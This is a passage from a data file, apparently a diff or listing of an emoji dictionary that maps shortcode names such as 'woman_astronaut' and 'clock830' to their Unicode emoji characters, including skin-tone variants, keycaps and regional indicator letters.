"unamused_face": "😒", - "unicorn_face": "🦄", - "unlocked": "🔓", - "up-down_arrow": "↕", - "up-left_arrow": "↖", - "up-right_arrow": "↗", - "up_arrow": "⬆", - "upside-down_face": "🙃", - "upwards_button": "🔼", - "vampire": "🧛", - "vampire_dark_skin_tone": "🧛🏿", - "vampire_light_skin_tone": "🧛🏻", - "vampire_medium-dark_skin_tone": "🧛🏾", - "vampire_medium-light_skin_tone": "🧛🏼", - "vampire_medium_skin_tone": "🧛🏽", - "vertical_traffic_light": "🚦", - "vibration_mode": "📳", - "victory_hand": "✌", - "victory_hand_dark_skin_tone": "✌🏿", - "victory_hand_light_skin_tone": "✌🏻", - "victory_hand_medium-dark_skin_tone": "✌🏾", - "victory_hand_medium-light_skin_tone": "✌🏼", - "victory_hand_medium_skin_tone": "✌🏽", - "video_camera": "📹", - "video_game": "🎮", - "videocassette": "📼", - "violin": "🎻", - "volcano": "🌋", - "volleyball": "🏐", - "vulcan_salute": "🖖", - "vulcan_salute_dark_skin_tone": "🖖🏿", - "vulcan_salute_light_skin_tone": "🖖🏻", - "vulcan_salute_medium-dark_skin_tone": "🖖🏾", - "vulcan_salute_medium-light_skin_tone": "🖖🏼", - "vulcan_salute_medium_skin_tone": "🖖🏽", - "waffle": "🧇", - "waning_crescent_moon": "🌘", - "waning_gibbous_moon": "🌖", - "warning": "⚠", - "wastebasket": "🗑", - "watch": "⌚", - "water_buffalo": "🐃", - "water_closet": "🚾", - "water_wave": "🌊", - "watermelon": "🍉", - "waving_hand": "👋", - "waving_hand_dark_skin_tone": "👋🏿", - "waving_hand_light_skin_tone": "👋🏻", - "waving_hand_medium-dark_skin_tone": "👋🏾", - "waving_hand_medium-light_skin_tone": "👋🏼", - "waving_hand_medium_skin_tone": "👋🏽", - "wavy_dash": "〰", - "waxing_crescent_moon": "🌒", - "waxing_gibbous_moon": "🌔", - "weary_cat_face": "🙀", - "weary_face": "😩", - "wedding": "💒", - "whale": "🐳", - "wheel_of_dharma": "☸", - "wheelchair_symbol": "♿", - "white_circle": "⚪", - "white_exclamation_mark": "❕", - "white_flag": "🏳", - "white_flower": "💮", - "white_hair": "🦳", - "white-haired_man": "👨\u200d🦳", - "white-haired_woman": "👩\u200d🦳", - "white_heart": "🤍", - "white_heavy_check_mark": "✅", - "white_large_square": "⬜", - "white_medium-small_square": "◽", - "white_medium_square": "◻", - "white_medium_star": "⭐", - "white_question_mark": "❔", - "white_small_square": "▫", - "white_square_button": "🔳", - "wilted_flower": "🥀", - "wind_chime": "🎐", - "wind_face": "🌬", - "wine_glass": "🍷", - "winking_face": "😉", - "winking_face_with_tongue": "😜", - "wolf_face": "🐺", - "woman": "👩", - "woman_artist": "👩\u200d🎨", - "woman_artist_dark_skin_tone": "👩🏿\u200d🎨", - "woman_artist_light_skin_tone": "👩🏻\u200d🎨", - "woman_artist_medium-dark_skin_tone": "👩🏾\u200d🎨", - "woman_artist_medium-light_skin_tone": "👩🏼\u200d🎨", - "woman_artist_medium_skin_tone": "👩🏽\u200d🎨", - "woman_astronaut": "👩\u200d🚀", - "woman_astronaut_dark_skin_tone": "👩🏿\u200d🚀", - "woman_astronaut_light_skin_tone": "👩🏻\u200d🚀", - "woman_astronaut_medium-dark_skin_tone": "👩🏾\u200d🚀", - "woman_astronaut_medium-light_skin_tone": "👩🏼\u200d🚀", - "woman_astronaut_medium_skin_tone": "👩🏽\u200d🚀", - "woman_biking": "🚴\u200d♀️", - "woman_biking_dark_skin_tone": "🚴🏿\u200d♀️", - "woman_biking_light_skin_tone": "🚴🏻\u200d♀️", - "woman_biking_medium-dark_skin_tone": "🚴🏾\u200d♀️", - "woman_biking_medium-light_skin_tone": "🚴🏼\u200d♀️", - "woman_biking_medium_skin_tone": "🚴🏽\u200d♀️", - "woman_bouncing_ball": "⛹️\u200d♀️", - "woman_bouncing_ball_dark_skin_tone": "⛹🏿\u200d♀️", - "woman_bouncing_ball_light_skin_tone": "⛹🏻\u200d♀️", - "woman_bouncing_ball_medium-dark_skin_tone": "⛹🏾\u200d♀️", - "woman_bouncing_ball_medium-light_skin_tone": "⛹🏼\u200d♀️", - "woman_bouncing_ball_medium_skin_tone": "⛹🏽\u200d♀️", - "woman_bowing": "🙇\u200d♀️", - "woman_bowing_dark_skin_tone": "🙇🏿\u200d♀️", - "woman_bowing_light_skin_tone": "🙇🏻\u200d♀️", - "woman_bowing_medium-dark_skin_tone": "🙇🏾\u200d♀️", - "woman_bowing_medium-light_skin_tone": "🙇🏼\u200d♀️", - "woman_bowing_medium_skin_tone": "🙇🏽\u200d♀️", - "woman_cartwheeling": "🤸\u200d♀️", - "woman_cartwheeling_dark_skin_tone": "🤸🏿\u200d♀️", - "woman_cartwheeling_light_skin_tone": "🤸🏻\u200d♀️", - "woman_cartwheeling_medium-dark_skin_tone": "🤸🏾\u200d♀️", - "woman_cartwheeling_medium-light_skin_tone": "🤸🏼\u200d♀️", - "woman_cartwheeling_medium_skin_tone": "🤸🏽\u200d♀️", - "woman_climbing": "🧗\u200d♀️", - "woman_climbing_dark_skin_tone": "🧗🏿\u200d♀️", - "woman_climbing_light_skin_tone": "🧗🏻\u200d♀️", - "woman_climbing_medium-dark_skin_tone": "🧗🏾\u200d♀️", - "woman_climbing_medium-light_skin_tone": "🧗🏼\u200d♀️", - "woman_climbing_medium_skin_tone": "🧗🏽\u200d♀️", - "woman_construction_worker": "👷\u200d♀️", - "woman_construction_worker_dark_skin_tone": "👷🏿\u200d♀️", - "woman_construction_worker_light_skin_tone": "👷🏻\u200d♀️", - "woman_construction_worker_medium-dark_skin_tone": "👷🏾\u200d♀️", - "woman_construction_worker_medium-light_skin_tone": "👷🏼\u200d♀️", - "woman_construction_worker_medium_skin_tone": "👷🏽\u200d♀️", - "woman_cook": "👩\u200d🍳", - "woman_cook_dark_skin_tone": "👩🏿\u200d🍳", - "woman_cook_light_skin_tone": "👩🏻\u200d🍳", - "woman_cook_medium-dark_skin_tone": "👩🏾\u200d🍳", - "woman_cook_medium-light_skin_tone": "👩🏼\u200d🍳", - "woman_cook_medium_skin_tone": "👩🏽\u200d🍳", - "woman_dancing": "💃", - "woman_dancing_dark_skin_tone": "💃🏿", - "woman_dancing_light_skin_tone": "💃🏻", - "woman_dancing_medium-dark_skin_tone": "💃🏾", - "woman_dancing_medium-light_skin_tone": "💃🏼", - "woman_dancing_medium_skin_tone": "💃🏽", - "woman_dark_skin_tone": "👩🏿", - "woman_detective": "🕵️\u200d♀️", - "woman_detective_dark_skin_tone": "🕵🏿\u200d♀️", - "woman_detective_light_skin_tone": "🕵🏻\u200d♀️", - "woman_detective_medium-dark_skin_tone": "🕵🏾\u200d♀️", - "woman_detective_medium-light_skin_tone": "🕵🏼\u200d♀️", - "woman_detective_medium_skin_tone": "🕵🏽\u200d♀️", - "woman_elf": "🧝\u200d♀️", - "woman_elf_dark_skin_tone": "🧝🏿\u200d♀️", - "woman_elf_light_skin_tone": "🧝🏻\u200d♀️", - "woman_elf_medium-dark_skin_tone": "🧝🏾\u200d♀️", - "woman_elf_medium-light_skin_tone": "🧝🏼\u200d♀️", - "woman_elf_medium_skin_tone": "🧝🏽\u200d♀️", - "woman_facepalming": "🤦\u200d♀️", - "woman_facepalming_dark_skin_tone": "🤦🏿\u200d♀️", - "woman_facepalming_light_skin_tone": "🤦🏻\u200d♀️", - "woman_facepalming_medium-dark_skin_tone": "🤦🏾\u200d♀️", - "woman_facepalming_medium-light_skin_tone": "🤦🏼\u200d♀️", - "woman_facepalming_medium_skin_tone": "🤦🏽\u200d♀️", - "woman_factory_worker": "👩\u200d🏭", - "woman_factory_worker_dark_skin_tone": "👩🏿\u200d🏭", - "woman_factory_worker_light_skin_tone": "👩🏻\u200d🏭", - "woman_factory_worker_medium-dark_skin_tone": "👩🏾\u200d🏭", - "woman_factory_worker_medium-light_skin_tone": "👩🏼\u200d🏭", - "woman_factory_worker_medium_skin_tone": "👩🏽\u200d🏭", - "woman_fairy": "🧚\u200d♀️", - "woman_fairy_dark_skin_tone": "🧚🏿\u200d♀️", - "woman_fairy_light_skin_tone": "🧚🏻\u200d♀️", - "woman_fairy_medium-dark_skin_tone": "🧚🏾\u200d♀️", - "woman_fairy_medium-light_skin_tone": "🧚🏼\u200d♀️", - "woman_fairy_medium_skin_tone": "🧚🏽\u200d♀️", - "woman_farmer": "👩\u200d🌾", - "woman_farmer_dark_skin_tone": "👩🏿\u200d🌾", - "woman_farmer_light_skin_tone": "👩🏻\u200d🌾", - "woman_farmer_medium-dark_skin_tone": "👩🏾\u200d🌾", - "woman_farmer_medium-light_skin_tone": "👩🏼\u200d🌾", - "woman_farmer_medium_skin_tone": "👩🏽\u200d🌾", - "woman_firefighter": "👩\u200d🚒", - "woman_firefighter_dark_skin_tone": "👩🏿\u200d🚒", - "woman_firefighter_light_skin_tone": "👩🏻\u200d🚒", - "woman_firefighter_medium-dark_skin_tone": "👩🏾\u200d🚒", - "woman_firefighter_medium-light_skin_tone": "👩🏼\u200d🚒", - "woman_firefighter_medium_skin_tone": "👩🏽\u200d🚒", - "woman_frowning": "🙍\u200d♀️", - "woman_frowning_dark_skin_tone": "🙍🏿\u200d♀️", - "woman_frowning_light_skin_tone": "🙍🏻\u200d♀️", - "woman_frowning_medium-dark_skin_tone": "🙍🏾\u200d♀️", - "woman_frowning_medium-light_skin_tone": "🙍🏼\u200d♀️", - "woman_frowning_medium_skin_tone": "🙍🏽\u200d♀️", - "woman_genie": "🧞\u200d♀️", - "woman_gesturing_no": "🙅\u200d♀️", - "woman_gesturing_no_dark_skin_tone": "🙅🏿\u200d♀️", - "woman_gesturing_no_light_skin_tone": "🙅🏻\u200d♀️", - "woman_gesturing_no_medium-dark_skin_tone": "🙅🏾\u200d♀️", - "woman_gesturing_no_medium-light_skin_tone": "🙅🏼\u200d♀️", - "woman_gesturing_no_medium_skin_tone": "🙅🏽\u200d♀️", - "woman_gesturing_ok": "🙆\u200d♀️", - "woman_gesturing_ok_dark_skin_tone": "🙆🏿\u200d♀️", - "woman_gesturing_ok_light_skin_tone": "🙆🏻\u200d♀️", - "woman_gesturing_ok_medium-dark_skin_tone": "🙆🏾\u200d♀️", - "woman_gesturing_ok_medium-light_skin_tone": "🙆🏼\u200d♀️", - "woman_gesturing_ok_medium_skin_tone": "🙆🏽\u200d♀️", - "woman_getting_haircut": "💇\u200d♀️", - "woman_getting_haircut_dark_skin_tone": "💇🏿\u200d♀️", - "woman_getting_haircut_light_skin_tone": "💇🏻\u200d♀️", - "woman_getting_haircut_medium-dark_skin_tone": "💇🏾\u200d♀️", - "woman_getting_haircut_medium-light_skin_tone": "💇🏼\u200d♀️", - "woman_getting_haircut_medium_skin_tone": "💇🏽\u200d♀️", - "woman_getting_massage": "💆\u200d♀️", - "woman_getting_massage_dark_skin_tone": "💆🏿\u200d♀️", - "woman_getting_massage_light_skin_tone": "💆🏻\u200d♀️", - "woman_getting_massage_medium-dark_skin_tone": "💆🏾\u200d♀️", - "woman_getting_massage_medium-light_skin_tone": "💆🏼\u200d♀️", - "woman_getting_massage_medium_skin_tone": "💆🏽\u200d♀️", - "woman_golfing": "🏌️\u200d♀️", - "woman_golfing_dark_skin_tone": "🏌🏿\u200d♀️", - "woman_golfing_light_skin_tone": "🏌🏻\u200d♀️", - "woman_golfing_medium-dark_skin_tone": "🏌🏾\u200d♀️", - "woman_golfing_medium-light_skin_tone": "🏌🏼\u200d♀️", - "woman_golfing_medium_skin_tone": "🏌🏽\u200d♀️", - "woman_guard": "💂\u200d♀️", - "woman_guard_dark_skin_tone": "💂🏿\u200d♀️", - "woman_guard_light_skin_tone": "💂🏻\u200d♀️", - "woman_guard_medium-dark_skin_tone": "💂🏾\u200d♀️", - "woman_guard_medium-light_skin_tone": "💂🏼\u200d♀️", - "woman_guard_medium_skin_tone": "💂🏽\u200d♀️", - "woman_health_worker": "👩\u200d⚕️", - "woman_health_worker_dark_skin_tone": "👩🏿\u200d⚕️", - "woman_health_worker_light_skin_tone": "👩🏻\u200d⚕️", - "woman_health_worker_medium-dark_skin_tone": "👩🏾\u200d⚕️", - "woman_health_worker_medium-light_skin_tone": "👩🏼\u200d⚕️", - "woman_health_worker_medium_skin_tone": "👩🏽\u200d⚕️", - "woman_in_lotus_position": "🧘\u200d♀️", - "woman_in_lotus_position_dark_skin_tone": "🧘🏿\u200d♀️", - "woman_in_lotus_position_light_skin_tone": "🧘🏻\u200d♀️", - "woman_in_lotus_position_medium-dark_skin_tone": "🧘🏾\u200d♀️", - "woman_in_lotus_position_medium-light_skin_tone": "🧘🏼\u200d♀️", - "woman_in_lotus_position_medium_skin_tone": "🧘🏽\u200d♀️", - "woman_in_manual_wheelchair": "👩\u200d🦽", - "woman_in_motorized_wheelchair": "👩\u200d🦼", - "woman_in_steamy_room": "🧖\u200d♀️", - "woman_in_steamy_room_dark_skin_tone": "🧖🏿\u200d♀️", - "woman_in_steamy_room_light_skin_tone": "🧖🏻\u200d♀️", - "woman_in_steamy_room_medium-dark_skin_tone": "🧖🏾\u200d♀️", - "woman_in_steamy_room_medium-light_skin_tone": "🧖🏼\u200d♀️", - "woman_in_steamy_room_medium_skin_tone": "🧖🏽\u200d♀️", - "woman_judge": "👩\u200d⚖️", - "woman_judge_dark_skin_tone": "👩🏿\u200d⚖️", - "woman_judge_light_skin_tone": "👩🏻\u200d⚖️", - "woman_judge_medium-dark_skin_tone": "👩🏾\u200d⚖️", - "woman_judge_medium-light_skin_tone": "👩🏼\u200d⚖️", - "woman_judge_medium_skin_tone": "👩🏽\u200d⚖️", - "woman_juggling": "🤹\u200d♀️", - "woman_juggling_dark_skin_tone": "🤹🏿\u200d♀️", - "woman_juggling_light_skin_tone": "🤹🏻\u200d♀️", - "woman_juggling_medium-dark_skin_tone": "🤹🏾\u200d♀️", - "woman_juggling_medium-light_skin_tone": "🤹🏼\u200d♀️", - "woman_juggling_medium_skin_tone": "🤹🏽\u200d♀️", - "woman_lifting_weights": "🏋️\u200d♀️", - "woman_lifting_weights_dark_skin_tone": "🏋🏿\u200d♀️", - "woman_lifting_weights_light_skin_tone": "🏋🏻\u200d♀️", - "woman_lifting_weights_medium-dark_skin_tone": "🏋🏾\u200d♀️", - "woman_lifting_weights_medium-light_skin_tone": "🏋🏼\u200d♀️", - "woman_lifting_weights_medium_skin_tone": "🏋🏽\u200d♀️", - "woman_light_skin_tone": "👩🏻", - "woman_mage": "🧙\u200d♀️", - "woman_mage_dark_skin_tone": "🧙🏿\u200d♀️", - "woman_mage_light_skin_tone": "🧙🏻\u200d♀️", - "woman_mage_medium-dark_skin_tone": "🧙🏾\u200d♀️", - "woman_mage_medium-light_skin_tone": "🧙🏼\u200d♀️", - "woman_mage_medium_skin_tone": "🧙🏽\u200d♀️", - "woman_mechanic": "👩\u200d🔧", - "woman_mechanic_dark_skin_tone": "👩🏿\u200d🔧", - "woman_mechanic_light_skin_tone": "👩🏻\u200d🔧", - "woman_mechanic_medium-dark_skin_tone": "👩🏾\u200d🔧", - "woman_mechanic_medium-light_skin_tone": "👩🏼\u200d🔧", - "woman_mechanic_medium_skin_tone": "👩🏽\u200d🔧", - "woman_medium-dark_skin_tone": "👩🏾", - "woman_medium-light_skin_tone": "👩🏼", - "woman_medium_skin_tone": "👩🏽", - "woman_mountain_biking": "🚵\u200d♀️", - "woman_mountain_biking_dark_skin_tone": "🚵🏿\u200d♀️", - "woman_mountain_biking_light_skin_tone": "🚵🏻\u200d♀️", - "woman_mountain_biking_medium-dark_skin_tone": "🚵🏾\u200d♀️", - "woman_mountain_biking_medium-light_skin_tone": "🚵🏼\u200d♀️", - "woman_mountain_biking_medium_skin_tone": "🚵🏽\u200d♀️", - "woman_office_worker": "👩\u200d💼", - "woman_office_worker_dark_skin_tone": "👩🏿\u200d💼", - "woman_office_worker_light_skin_tone": "👩🏻\u200d💼", - "woman_office_worker_medium-dark_skin_tone": "👩🏾\u200d💼", - "woman_office_worker_medium-light_skin_tone": "👩🏼\u200d💼", - "woman_office_worker_medium_skin_tone": "👩🏽\u200d💼", - "woman_pilot": "👩\u200d✈️", - "woman_pilot_dark_skin_tone": "👩🏿\u200d✈️", - "woman_pilot_light_skin_tone": "👩🏻\u200d✈️", - "woman_pilot_medium-dark_skin_tone": "👩🏾\u200d✈️", - "woman_pilot_medium-light_skin_tone": "👩🏼\u200d✈️", - "woman_pilot_medium_skin_tone": "👩🏽\u200d✈️", - "woman_playing_handball": "🤾\u200d♀️", - "woman_playing_handball_dark_skin_tone": "🤾🏿\u200d♀️", - "woman_playing_handball_light_skin_tone": "🤾🏻\u200d♀️", - "woman_playing_handball_medium-dark_skin_tone": "🤾🏾\u200d♀️", - "woman_playing_handball_medium-light_skin_tone": "🤾🏼\u200d♀️", - "woman_playing_handball_medium_skin_tone": "🤾🏽\u200d♀️", - "woman_playing_water_polo": "🤽\u200d♀️", - "woman_playing_water_polo_dark_skin_tone": "🤽🏿\u200d♀️", - "woman_playing_water_polo_light_skin_tone": "🤽🏻\u200d♀️", - "woman_playing_water_polo_medium-dark_skin_tone": "🤽🏾\u200d♀️", - "woman_playing_water_polo_medium-light_skin_tone": "🤽🏼\u200d♀️", - "woman_playing_water_polo_medium_skin_tone": "🤽🏽\u200d♀️", - "woman_police_officer": "👮\u200d♀️", - "woman_police_officer_dark_skin_tone": "👮🏿\u200d♀️", - "woman_police_officer_light_skin_tone": "👮🏻\u200d♀️", - "woman_police_officer_medium-dark_skin_tone": "👮🏾\u200d♀️", - "woman_police_officer_medium-light_skin_tone": "👮🏼\u200d♀️", - "woman_police_officer_medium_skin_tone": "👮🏽\u200d♀️", - "woman_pouting": "🙎\u200d♀️", - "woman_pouting_dark_skin_tone": "🙎🏿\u200d♀️", - "woman_pouting_light_skin_tone": "🙎🏻\u200d♀️", - "woman_pouting_medium-dark_skin_tone": "🙎🏾\u200d♀️", - "woman_pouting_medium-light_skin_tone": "🙎🏼\u200d♀️", - "woman_pouting_medium_skin_tone": "🙎🏽\u200d♀️", - "woman_raising_hand": "🙋\u200d♀️", - "woman_raising_hand_dark_skin_tone": "🙋🏿\u200d♀️", - "woman_raising_hand_light_skin_tone": "🙋🏻\u200d♀️", - "woman_raising_hand_medium-dark_skin_tone": "🙋🏾\u200d♀️", - "woman_raising_hand_medium-light_skin_tone": "🙋🏼\u200d♀️", - "woman_raising_hand_medium_skin_tone": "🙋🏽\u200d♀️", - "woman_rowing_boat": "🚣\u200d♀️", - "woman_rowing_boat_dark_skin_tone": "🚣🏿\u200d♀️", - "woman_rowing_boat_light_skin_tone": "🚣🏻\u200d♀️", - "woman_rowing_boat_medium-dark_skin_tone": "🚣🏾\u200d♀️", - "woman_rowing_boat_medium-light_skin_tone": "🚣🏼\u200d♀️", - "woman_rowing_boat_medium_skin_tone": "🚣🏽\u200d♀️", - "woman_running": "🏃\u200d♀️", - "woman_running_dark_skin_tone": "🏃🏿\u200d♀️", - "woman_running_light_skin_tone": "🏃🏻\u200d♀️", - "woman_running_medium-dark_skin_tone": "🏃🏾\u200d♀️", - "woman_running_medium-light_skin_tone": "🏃🏼\u200d♀️", - "woman_running_medium_skin_tone": "🏃🏽\u200d♀️", - "woman_scientist": "👩\u200d🔬", - "woman_scientist_dark_skin_tone": "👩🏿\u200d🔬", - "woman_scientist_light_skin_tone": "👩🏻\u200d🔬", - "woman_scientist_medium-dark_skin_tone": "👩🏾\u200d🔬", - "woman_scientist_medium-light_skin_tone": "👩🏼\u200d🔬", - "woman_scientist_medium_skin_tone": "👩🏽\u200d🔬", - "woman_shrugging": "🤷\u200d♀️", - "woman_shrugging_dark_skin_tone": "🤷🏿\u200d♀️", - "woman_shrugging_light_skin_tone": "🤷🏻\u200d♀️", - "woman_shrugging_medium-dark_skin_tone": "🤷🏾\u200d♀️", - "woman_shrugging_medium-light_skin_tone": "🤷🏼\u200d♀️", - "woman_shrugging_medium_skin_tone": "🤷🏽\u200d♀️", - "woman_singer": "👩\u200d🎤", - "woman_singer_dark_skin_tone": "👩🏿\u200d🎤", - "woman_singer_light_skin_tone": "👩🏻\u200d🎤", - "woman_singer_medium-dark_skin_tone": "👩🏾\u200d🎤", - "woman_singer_medium-light_skin_tone": "👩🏼\u200d🎤", - "woman_singer_medium_skin_tone": "👩🏽\u200d🎤", - "woman_student": "👩\u200d🎓", - "woman_student_dark_skin_tone": "👩🏿\u200d🎓", - "woman_student_light_skin_tone": "👩🏻\u200d🎓", - "woman_student_medium-dark_skin_tone": "👩🏾\u200d🎓", - "woman_student_medium-light_skin_tone": "👩🏼\u200d🎓", - "woman_student_medium_skin_tone": "👩🏽\u200d🎓", - "woman_surfing": "🏄\u200d♀️", - "woman_surfing_dark_skin_tone": "🏄🏿\u200d♀️", - "woman_surfing_light_skin_tone": "🏄🏻\u200d♀️", - "woman_surfing_medium-dark_skin_tone": "🏄🏾\u200d♀️", - "woman_surfing_medium-light_skin_tone": "🏄🏼\u200d♀️", - "woman_surfing_medium_skin_tone": "🏄🏽\u200d♀️", - "woman_swimming": "🏊\u200d♀️", - "woman_swimming_dark_skin_tone": "🏊🏿\u200d♀️", - "woman_swimming_light_skin_tone": "🏊🏻\u200d♀️", - "woman_swimming_medium-dark_skin_tone": "🏊🏾\u200d♀️", - "woman_swimming_medium-light_skin_tone": "🏊🏼\u200d♀️", - "woman_swimming_medium_skin_tone": "🏊🏽\u200d♀️", - "woman_teacher": "👩\u200d🏫", - "woman_teacher_dark_skin_tone": "👩🏿\u200d🏫", - "woman_teacher_light_skin_tone": "👩🏻\u200d🏫", - "woman_teacher_medium-dark_skin_tone": "👩🏾\u200d🏫", - "woman_teacher_medium-light_skin_tone": "👩🏼\u200d🏫", - "woman_teacher_medium_skin_tone": "👩🏽\u200d🏫", - "woman_technologist": "👩\u200d💻", - "woman_technologist_dark_skin_tone": "👩🏿\u200d💻", - "woman_technologist_light_skin_tone": "👩🏻\u200d💻", - "woman_technologist_medium-dark_skin_tone": "👩🏾\u200d💻", - "woman_technologist_medium-light_skin_tone": "👩🏼\u200d💻", - "woman_technologist_medium_skin_tone": "👩🏽\u200d💻", - "woman_tipping_hand": "💁\u200d♀️", - "woman_tipping_hand_dark_skin_tone": "💁🏿\u200d♀️", - "woman_tipping_hand_light_skin_tone": "💁🏻\u200d♀️", - "woman_tipping_hand_medium-dark_skin_tone": "💁🏾\u200d♀️", - "woman_tipping_hand_medium-light_skin_tone": "💁🏼\u200d♀️", - "woman_tipping_hand_medium_skin_tone": "💁🏽\u200d♀️", - "woman_vampire": "🧛\u200d♀️", - "woman_vampire_dark_skin_tone": "🧛🏿\u200d♀️", - "woman_vampire_light_skin_tone": "🧛🏻\u200d♀️", - "woman_vampire_medium-dark_skin_tone": "🧛🏾\u200d♀️", - "woman_vampire_medium-light_skin_tone": "🧛🏼\u200d♀️", - "woman_vampire_medium_skin_tone": "🧛🏽\u200d♀️", - "woman_walking": "🚶\u200d♀️", - "woman_walking_dark_skin_tone": "🚶🏿\u200d♀️", - "woman_walking_light_skin_tone": "🚶🏻\u200d♀️", - "woman_walking_medium-dark_skin_tone": "🚶🏾\u200d♀️", - "woman_walking_medium-light_skin_tone": "🚶🏼\u200d♀️", - "woman_walking_medium_skin_tone": "🚶🏽\u200d♀️", - "woman_wearing_turban": "👳\u200d♀️", - "woman_wearing_turban_dark_skin_tone": "👳🏿\u200d♀️", - "woman_wearing_turban_light_skin_tone": "👳🏻\u200d♀️", - "woman_wearing_turban_medium-dark_skin_tone": "👳🏾\u200d♀️", - "woman_wearing_turban_medium-light_skin_tone": "👳🏼\u200d♀️", - "woman_wearing_turban_medium_skin_tone": "👳🏽\u200d♀️", - "woman_with_headscarf": "🧕", - "woman_with_headscarf_dark_skin_tone": "🧕🏿", - "woman_with_headscarf_light_skin_tone": "🧕🏻", - "woman_with_headscarf_medium-dark_skin_tone": "🧕🏾", - "woman_with_headscarf_medium-light_skin_tone": "🧕🏼", - "woman_with_headscarf_medium_skin_tone": "🧕🏽", - "woman_with_probing_cane": "👩\u200d🦯", - "woman_zombie": "🧟\u200d♀️", - "woman’s_boot": "👢", - "woman’s_clothes": "👚", - "woman’s_hat": "👒", - "woman’s_sandal": "👡", - "women_with_bunny_ears": "👯\u200d♀️", - "women_wrestling": "🤼\u200d♀️", - "women’s_room": "🚺", - "woozy_face": "🥴", - "world_map": "🗺", - "worried_face": "😟", - "wrapped_gift": "🎁", - "wrench": "🔧", - "writing_hand": "✍", - "writing_hand_dark_skin_tone": "✍🏿", - "writing_hand_light_skin_tone": "✍🏻", - "writing_hand_medium-dark_skin_tone": "✍🏾", - "writing_hand_medium-light_skin_tone": "✍🏼", - "writing_hand_medium_skin_tone": "✍🏽", - "yarn": "🧶", - "yawning_face": "🥱", - "yellow_circle": "🟡", - "yellow_heart": "💛", - "yellow_square": "🟨", - "yen_banknote": "💴", - "yo-yo": "🪀", - "yin_yang": "☯", - "zany_face": "🤪", - "zebra": "🦓", - "zipper-mouth_face": "🤐", - "zombie": "🧟", - "zzz": "💤", - "åland_islands": "🇦🇽", - "keycap_asterisk": "*⃣", - "keycap_digit_eight": "8⃣", - "keycap_digit_five": "5⃣", - "keycap_digit_four": "4⃣", - "keycap_digit_nine": "9⃣", - "keycap_digit_one": "1⃣", - "keycap_digit_seven": "7⃣", - "keycap_digit_six": "6⃣", - "keycap_digit_three": "3⃣", - "keycap_digit_two": "2⃣", - "keycap_digit_zero": "0⃣", - "keycap_number_sign": "#⃣", - "light_skin_tone": "🏻", - "medium_light_skin_tone": "🏼", - "medium_skin_tone": "🏽", - "medium_dark_skin_tone": "🏾", - "dark_skin_tone": "🏿", - "regional_indicator_symbol_letter_a": "🇦", - "regional_indicator_symbol_letter_b": "🇧", - "regional_indicator_symbol_letter_c": "🇨", - "regional_indicator_symbol_letter_d": "🇩", - "regional_indicator_symbol_letter_e": "🇪", - "regional_indicator_symbol_letter_f": "🇫", - "regional_indicator_symbol_letter_g": "🇬", - "regional_indicator_symbol_letter_h": "🇭", - "regional_indicator_symbol_letter_i": "🇮", - "regional_indicator_symbol_letter_j": "🇯", - "regional_indicator_symbol_letter_k": "🇰", - "regional_indicator_symbol_letter_l": "🇱", - "regional_indicator_symbol_letter_m": "🇲", - "regional_indicator_symbol_letter_n": "🇳", - "regional_indicator_symbol_letter_o": "🇴", - "regional_indicator_symbol_letter_p": "🇵", - "regional_indicator_symbol_letter_q": "🇶", - "regional_indicator_symbol_letter_r": "🇷", - "regional_indicator_symbol_letter_s": "🇸", - "regional_indicator_symbol_letter_t": "🇹", - "regional_indicator_symbol_letter_u": "🇺", - "regional_indicator_symbol_letter_v": "🇻", - "regional_indicator_symbol_letter_w": "🇼", - "regional_indicator_symbol_letter_x": "🇽", - "regional_indicator_symbol_letter_y": "🇾", - "regional_indicator_symbol_letter_z": "🇿", - "airplane_arriving": "🛬", - "space_invader": "👾", - "football": "🏈", - "anger": "💢", - "angry": "😠", - "anguished": "😧", - "signal_strength": "📶", - "arrows_counterclockwise": "🔄", - "arrow_heading_down": "⤵", - "arrow_heading_up": "⤴", - "art": "🎨", - "astonished": "😲", - "athletic_shoe": "👟", - "atm": "🏧", - "car": "🚗", - "red_car": "🚗", - "angel": "👼", - "back": "🔙", - "badminton_racquet_and_shuttlecock": "🏸", - "dollar": "💵", - "euro": "💶", - "pound": "💷", - "yen": "💴", - "barber": "💈", - "bath": "🛀", - "bear": "🐻", - "heartbeat": "💓", - "beer": "🍺", - "no_bell": "🔕", - "bento": "🍱", - "bike": "🚲", - "bicyclist": "🚴", - "8ball": "🎱", - "biohazard_sign": "☣", - "birthday": "🎂", - "black_circle_for_record": "⏺", - "clubs": "♣", - "diamonds": "♦", - "arrow_double_down": "⏬", - "hearts": "♥", - "rewind": "⏪", - "black_left__pointing_double_triangle_with_vertical_bar": "⏮", - "arrow_backward": "◀", - "black_medium_small_square": "◾", - "question": "❓", - "fast_forward": "⏩", - "black_right__pointing_double_triangle_with_vertical_bar": "⏭", - "arrow_forward": "▶", - "black_right__pointing_triangle_with_double_vertical_bar": "⏯", - "arrow_right": "➡", - "spades": "♠", - "black_square_for_stop": "⏹", - "sunny": "☀", - "phone": "☎", - "recycle": "♻", - "arrow_double_up": "⏫", - "busstop": "🚏", - "date": "📅", - "flags": "🎏", - "cat2": "🐈", - "joy_cat": "😹", - "smirk_cat": "😼", - "chart_with_downwards_trend": "📉", - "chart_with_upwards_trend": "📈", - "chart": "💹", - "mega": "📣", - "checkered_flag": "🏁", - "accept": "🉑", - "ideograph_advantage": "🉐", - "congratulations": "㊗", - "secret": "㊙", - "m": "Ⓜ", - "city_sunset": "🌆", - "clapper": "🎬", - "clap": "👏", - "beers": "🍻", - "clock830": "🕣", - "clock8": "🕗", - "clock1130": "🕦", - "clock11": "🕚", - "clock530": "🕠", - "clock5": "🕔", - "clock430": "🕟", - "clock4": "🕓", - "clock930": "🕤", - "clock9": "🕘", - "clock130": "🕜", - "clock1": "🕐", - "clock730": "🕢", - "clock7": "🕖", - "clock630": "🕡", - "clock6": "🕕", - "clock1030": "🕥", - "clock10": "🕙", - "clock330": "🕞", - "clock3": "🕒", - "clock1230": "🕧", - "clock12": "🕛", - "clock230": "🕝", - "clock2": "🕑", - "arrows_clockwise": "🔃", - "repeat": "🔁", - "repeat_one": "🔂", - "closed_lock_with_key": "🔐", - "mailbox_closed": "📪", - "mailbox": "📫", - "cloud_with_tornado": "🌪", - "cocktail": "🍸", - "boom": "💥", - "compression": "🗜", - "confounded": "😖", - "confused": "😕", - "rice": "🍚", - "cow2": "🐄", - "cricket_bat_and_ball": "🏏", - "x": "❌", - "cry": "😢", - "curry": "🍛", - "dagger_knife": "🗡", - "dancer": "💃", - "dark_sunglasses": "🕶", - "dash": "💨", - "truck": "🚚", - "derelict_house_building": "🏚", - 